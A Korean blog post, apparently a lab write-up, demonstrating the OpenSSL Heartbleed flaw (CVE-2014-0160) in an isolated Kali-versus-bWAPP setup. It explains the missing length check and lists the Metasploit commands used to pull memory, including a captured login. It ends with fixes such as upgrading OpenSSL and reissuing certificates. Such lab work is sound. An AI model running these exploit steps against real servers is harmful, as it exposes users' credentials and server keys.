본문 바로가기

카테고리 없음

Heartbleed 취약점을 사용한 모의 해킹 테스트

Heartbleed 취약점 CVE-2014-0160

Heartbeat 기능을 사용하는 과정에서 발생한 취약점

 

OpenSSL 라이브러리의 TLS/DTLS Heartbeat 확장 규격에서 발생하는 입력 데이터 길이 검증 미흡 취약점 

공격자가 서버의 메모리로부터 데이터를 반복적으로 탈취할 수 있고 이 과정에서 사용자의 세션 로그인 상태면 로그인이 유지된 사용자의 세션 정보, ID/PW, 심지어 서버의 개인키까지 유출 가능

 

 

Heartbleed 취약점의 동작 원리

  1. 정상적인 요청
    1.  클라이언트가 5글자(블로터딧넷) 보낼 테니 반환해 라고 요청하면 서버는 메모리에서 5글자를 읽어 응답
  2. 하트블리드 공격 클라이언트가 데이터는 2글자만 보내고 길이는 64,000글자라고 거짓말을 함
    1. 모자 라고 500글자로 대답해봐
  3. Heartbleed 취약점 발생
    1. 서버는 실제 데이터 길이를 검증하지 않고, 요청받은 64,000바이트를 채우기 위해 메모리에 남아있던 다른 데이터까지 모두 긁어서 클라이언트에게 전송

HearBleed 취약점의 동작 원리

 

 

모의해킹 진행

[구동 환경]

  • 모의해킹의 전 과정은 격리된 가상 환경에서 진행 했습니다.
  • 모든 모의해킹 과정은 사용자의 100% 통제 하에 진행 했습니다.
분류 OS IP 비고
곻격자 Kali-Linux 10.0.2.4 공격자 서버
희생자 Ubuntu-Linux 10.0.2.5 희생자 서버
타켓 Docker 컨테이너 Ubuntu-Linux 10.0.2.5 bWAPP docker 컨테이너

 

 

[네트워크 통신 확인]

Ubuntu 환경
Kali Linux 환경

각 VM에 IP의 할당이 정상인지 확인하고 Kali가 Ubuntu랑 정상적으로 통신중인지 체크한다

 

[공격 시작]

하트블리드 공격을 위해서 Kali -Linux 환경에서 msfconsole을 실행해준다

sudo msfconsole

 

하트블리드 관련 취약모듈을 찾고 해당 IP와 포트를 설정 후 공격을 시작 한다

heartbleed 모의해킹 셋팅

search heartbleed

use 1

setRHOST 10.0.2.5
setRPORT 8443
exploit

 

 

exploit의 설정값을  true로 변경 후 상세 내역을 확인한다

set verbose true

유츌된 ascii코드 및 ID/PW

방금 시도한 로그인의 ID/PW 정보가 Heartbleed 취약점을 통해서 유출된 것을 확인 할 수 있다.

 

 

Heartbleed 취약점의 대응 방안

Heartbleed 취약점이 발생하는 가장 큰 이유는 Boundary Check를 하지 않기에 발생한다

서버가 클라이언트의 길이를 속이는 요청에 체크를 하지 않고 그대로 응답하다가 내부 세션데이터가 그대로 끌려 나가기 때문이다

  1. OpenSSL 업데이트
    1. 가장 보편적인 방법으로 취약점이 해결된 최신 버전으로 업데이트 해서 사용한다
      1. (1.0.1g)
  2. Compile 옵션 업데이트
    1. Heartbleed 취약점은 Heartbeat의 기능에서 파생된 취약점이다 해당 취약점을 막고 싶으면 Heartbeat 기능 자체를 종료시키는 -DOPENSSL_NO_HEARTBEATS 옵션을 적용 하면 된다.
  3. 인증서 재발급
    1. 해당 취약점에 노출되었다면 SSL 인증서의 폐기 후 재발급 과정이 필수불가결이다.